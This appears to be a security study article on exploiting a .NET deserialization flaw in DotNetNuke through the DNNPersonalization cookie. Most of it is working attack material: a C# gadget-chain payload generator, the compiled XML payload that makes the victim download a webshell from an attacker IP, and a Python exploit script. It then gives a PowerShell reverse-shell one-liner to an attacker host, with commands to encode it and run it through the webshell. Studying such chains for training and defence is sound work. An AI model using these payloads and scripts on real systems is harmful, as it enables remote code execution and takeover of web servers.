This article covers serialization vulnerabilities in web applications, particularly when web applications deserialize arbitrary attacker input, converting that input into objects in process memory, and how an attacker can chain deserialization gadgets to gain code execution.
What is serialization?
Serialization describes the concept of converting data to an agreed upon format, transmitting it to a consumer of said data, and then the consumer of that data extracting the information from the serialized packet using the defined format to receive the original data. A lot of different formats for data can be considered serialization, for example:
- Base64 encoding
- JSON
- XML
- etc.
DotNetNuke
Subsequent paragraphs will discuss some vulnerabilities discovered and exploited in the DotNetNuke web application, written in the .NET Framework. More in-depth whitepapers and presentations related to deserialization attacks against .NET’s BinaryFormatter and XmlSerializer are provided in the following resources:
The vulnerability
The gist of DotNetNuke’s vulnerability discussed in the presentation above is
that, provided a cookie named DNNPersonalization
in XML format to a
nonexistent API endpoint, the DotNetNuke user profile business logic would
attempt to deserialize the contents and convert them to objects for storage in a
hash table, likely to load particular user profile information and display it
later.
The most interesting part about this vulnerability is that no type checking is conducted on the object types stored within the XML data before deserialization. If some type checking was done prior to deserialization, it’s likely this vulnerability would be much more difficult to abuse.
Gaining code execution
Plenty of gadgets are mentioned in the “JSON Attacks” presentation, but the prime example used to gain code execution is the ObjectDataProvider class. The ObjectDataProvider class allows us to wrap an arbitrary object and call its methods, as well as provide parameters for these methods. This class is used to created binding sources, objects that provide programmers with relevant data and are bound to a target object, e.g. a TextBox, ComboBox, etc., to display data.
For code execution, since we can’t call arbitrary methods of existing classes directly, we use the ObjectDataProvider class as a gadget to load and execute classes with methods of interest, e.g. the DotNetNuke.Common.Utilities.FileSystemUtils.PullFile method that DotNetNuke uses to download files from arbitrary internet locations.
Unfortunately, during deserialization with the XmlSerializer class, while the ObjectDataProvider class is recognized by the deserialization routine, XmlSerializer doesn’t understand the object reference to the FileSystemUtils within the class attribute. To remedy this, we can use another gadget, the ExpandedWrapper class, to provide a generic class for deserialization by the XmlSerializer class. Ultimately, this enables us to deserialize an ObjectDataProvider class with our specified target class, FileSystemUtils, and our method(s), for code execution, PullFile.
Below is a snippet of C# code targeting the .NET Framework, using these gadgets to generate XML that can be deserialized by the XmlSerializer class to download arbitrary files to the host via HTTP:
using System;
using System.IO;
using DotNetNuke.Common.Utilities;
using System.Collections;
using System.Data.Services.Internal;
using System.Windows.Data;
namespace ExpWrapSerializer
{
class Program
{
static void Main(string[] args)
{
Serialize();
}
public static void Serialize()
{
ExpandedWrapper<FileSystemUtils, ObjectDataProvider> myExpWrap = new ExpandedWrapper<FileSystemUtils, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new FileSystemUtils();
myExpWrap.ProjectedProperty0.MethodName = "PullFile";
myExpWrap.ProjectedProperty0.MethodParameters.Add("http://192.168.45.156/webshell.aspx");
myExpWrap.ProjectedProperty0.MethodParameters.Add("C:/inetpub/wwwroot/dotnetnuke/webshell.aspx");
Hashtable table = new Hashtable();
table["myTableEntry"] = myExpWrap;
String payload = XmlUtils.SerializeDictionary(table, "profile");
TextWriter writer = new StreamWriter("C:\\Windows\\Temp\\Payload.txt");
writer.Write(payload);
writer.Close();
Console.WriteLine("Done!");
}
}
}
After building and executing the above C# application, an XML Payload.txt
file
will be generated in C:\Windows\Temp
. Upon deserialization of this payload
with XmlSerializer, the victim host deserializing the payload will download
webshell.aspx
to its web root from the attacker host specified in the payload.
Below is an example of the compiled payload:
<profile><item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils, DotNetNuke, Version=9.1.0.367, Culture=neutral, PublicKeyToken=null],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ProjectedProperty0><ObjectInstance xsi:type="FileSystemUtils" /><MethodName>PullFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">http://192.168.45.156/webshell.aspx</anyType><anyType xsi:type="xsd:string">C:/inetpub/wwwroot/dotnetnuke/webshell.aspx</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>
Getting a reverse shell
With our ability to pull arbitrary files from remote locations, we host the
cmdasp.aspx
webshell file on our attacker host and coerce the victim host to
download the webshell to its web root. We then execute a PowerShell reverse
shell via the uploaded web shell on the victim host using our browser, gaining
an interactive shell with the victim host as the web server’s user.
To find the cmdasp.aspx
file on our Kali Linux installation, use the invoke
the following in Bash
locate cmdasp.aspx
The following Python script interacts with the DotNetNuke web application to abuse the serialization vulnerability discussed, using our payload generated in previous sections:
import http.client
from argparse import ArgumentParser
import requests
http.client.HTTPConnection.debuglevel = 1
requests.packages.urllib3.disable_warnings()
API_ENDPOINT = "/dotnetnuke/doesnotexist"
class Solution:
def __init__(self, url: str, lhost: str, filename: str) -> None:
self.s = requests.Session()
self.url = f"{url.rstrip("/")}{API_ENDPOINT}"
self.lhost, self.filename = lhost, filename
def solve(self) -> None:
# Provide malicious cookie to target DNN serialization bug,
# triggering PullFile to download 'self.filename' from
# 'self.lhost'
req = requests.Request(
"GET",
self.url,
cookies={
"DNNPersonalization": '<profile><item key="myTableEntry" type="System.Data.Services.Internal.ExpandedWrapper`2[[DotNetNuke.Common.Utilities.FileSystemUtils, DotNetNuke, Version=9.1.0.367, Culture=neutral, PublicKeyToken=null],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"><ExpandedWrapperOfFileSystemUtilsObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><ProjectedProperty0><ObjectInstance xsi:type="FileSystemUtils" /><MethodName>PullFile</MethodName><MethodParameters><anyType xsi:type="xsd:string">http://{lhost}/{filename}</anyType><anyType xsi:type="xsd:string">C:/inetpub/wwwroot/dotnetnuke/{filename}</anyType></MethodParameters></ProjectedProperty0></ExpandedWrapperOfFileSystemUtilsObjectDataProvider></item></profile>'.format(
lhost=self.lhost, filename=self.filename
)
},
)
prepped = self.s.prepare_request(req)
self.s.send(prepped, verify=False)
def main():
parser = ArgumentParser()
parser.add_argument("-u", "--url", dest="url")
parser.add_argument("-lh", "--lhost", dest="lhost")
parser.add_argument("-f", "--filename", dest="filename")
args = parser.parse_args()
s = Solution(args.url, args.lhost, args.filename)
s.solve()
if __name__ == "__main__":
main()
After the webshell is uploaded to the target host, we can visit it at
http://dnn/dotnetnuke/cmdasp.aspx
. From
Nishang,
we can execute the following PowerShell one-liner to initiate a reverse shell
over TCP with our attacker host:
$client = New-Object System.Net.Sockets.TCPClient('{ATTACKER_IP}',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};
That’s a lot of text and special characters. We can invoke the following in Bash to convert our PowerShell one-liner to PowerShell-friendly Base64 encoding:
iconv -f ASCII -t UTF-16LE powershellcmd.txt | base64 | tr -d "\n"
Finally, we can execute our reverse shell payload on the target webshell with:
powershell.exe -EncodedCommand {Base64Payload}
ysoserial
In the above sections we discussed manually constructing our deserialization payloads, however, security researchers have been so gracious as to construct applications that can automatically generate these payloads with known, working gadgets. ysoserial comes in two (2) different flavors that target both Java and .NET:
ManageEngine Applications Manager
ManageEngine, another regular offender, amongst its various SQL injection vulnerabilities, also had an unauthenticated deserialization of arbitrary Java objects that could be accessed by the Java Runtime Environment (JRE) from remote hosts. This vulnerability is explained and abused in the article below: